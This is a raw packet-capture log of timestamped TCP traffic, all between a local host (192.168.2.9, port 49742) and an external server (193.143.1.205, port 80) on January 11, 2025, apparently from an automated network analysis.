Jan 11, 2025 09:27:13.521552086 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521559000 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521572113 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521608114 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.521708012 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521714926 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521740913 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521748066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521759987 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.521786928 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.521797895 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521805048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521816969 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521832943 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521840096 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521851063 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.521892071 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.522676945 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.523577929 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523626089 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.523647070 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523653984 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523665905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523703098 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.523761988 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523768902 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523781061 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523794889 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523823977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523823977 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.523868084 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.523869038 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523881912 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.523926020 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.524013996 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.524019957 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.524061918 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.531939983 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.537385941 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.537396908 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.537410021 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.537445068 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.538043976 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538060904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538067102 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538080931 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.538099051 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.538197994 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538204908 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538218975 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.538310051 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.566204071 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.571921110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.571933031 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.571945906 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.572195053 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605504036 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605511904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605539083 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605547905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605561972 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605562925 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605578899 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605592966 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605600119 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605642080 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605645895 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605648994 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605658054 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605679035 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605683088 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605684042 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605703115 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605730057 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605865002 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605871916 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605886936 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605899096 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605911016 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605914116 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605923891 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605931997 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605941057 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605969906 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.605971098 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.605976105 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.606015921 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639281034 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639291048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639303923 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639345884 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639396906 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639403105 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639422894 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639446020 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639750004 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639758110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639769077 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639782906 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639790058 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639802933 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639811039 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639816999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639842033 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639847040 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639848948 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639861107 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639873028 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639878988 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639880896 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639889002 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639923096 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.639933109 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639947891 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639960051 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639971972 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639978886 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639987946 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.639998913 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640019894 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640026093 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640027046 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640052080 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640058994 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640070915 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640080929 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640086889 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640105009 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640144110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640172958 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640218973 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640290022 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640295982 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640305996 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640321016 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640326977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640336037 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640372992 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640450954 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640456915 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640470982 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640480995 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640491962 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640505075 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640507936 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640512943 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640516043 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640522957 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640541077 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640569925 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640640020 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640646935 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640670061 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640691042 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640741110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640749931 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640790939 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640795946 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640804052 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640818119 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640832901 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.640841007 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.640873909 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641010046 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641024113 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641035080 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641048908 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641056061 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641066074 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641072035 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641083002 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641093016 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641108036 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641108990 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641114950 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641114950 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641129971 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641139030 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641166925 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641251087 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641257048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641299009 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641403913 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641411066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641422987 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641439915 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641447067 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641457081 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641460896 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641473055 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641483068 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641486883 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641496897 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641508102 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641508102 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641524076 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641535997 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641550064 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641554117 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641563892 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641567945 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641594887 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.641973972 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641982079 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.641993999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642008066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642019987 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642031908 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642035007 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642039061 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642065048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642065048 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642072916 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642072916 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642082930 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642096996 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642096996 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642103910 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642127991 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642147064 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.642155886 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642162085 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642174006 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642179966 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642185926 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.642281055 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.658787012 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658834934 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658847094 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658886909 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.658898115 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658912897 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658941031 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.658948898 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658962011 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.658993006 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.659013987 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692420006 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692442894 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692455053 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692476988 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692482948 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692493916 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692504883 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692531109 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692589998 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692614079 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692625999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692653894 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692756891 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692763090 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692776918 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692791939 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692799091 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692802906 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692814112 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692842960 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.692869902 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692877054 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.692915916 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726205111 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726218939 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726241112 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726254940 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726267099 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726283073 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726294041 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726300955 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726332903 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726385117 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726389885 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726392984 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726423979 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726437092 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726442099 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726452112 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726466894 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726476908 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726510048 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726572037 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726577997 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726583958 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726592064 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726614952 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726627111 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726716042 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726721048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726732969 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726746082 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726751089 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726764917 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726792097 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726860046 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726866961 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726881027 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726891994 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726907969 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726917982 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726919889 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.726933002 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.726947069 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727097034 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727103949 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727114916 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727121115 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727138996 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727147102 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727154970 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727163076 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727190018 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727386951 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727400064 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727411985 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727417946 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727441072 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727442026 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727449894 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727454901 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727454901 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727498055 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727498055 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727649927 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727657080 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727669001 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727688074 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727693081 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727696896 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727699995 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727708101 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727730989 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727739096 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727926970 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727933884 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727945089 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727957010 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727972031 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727976084 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727982998 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.727987051 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.727998972 CET	80	49742	193.143.1.205	192.168.2.9
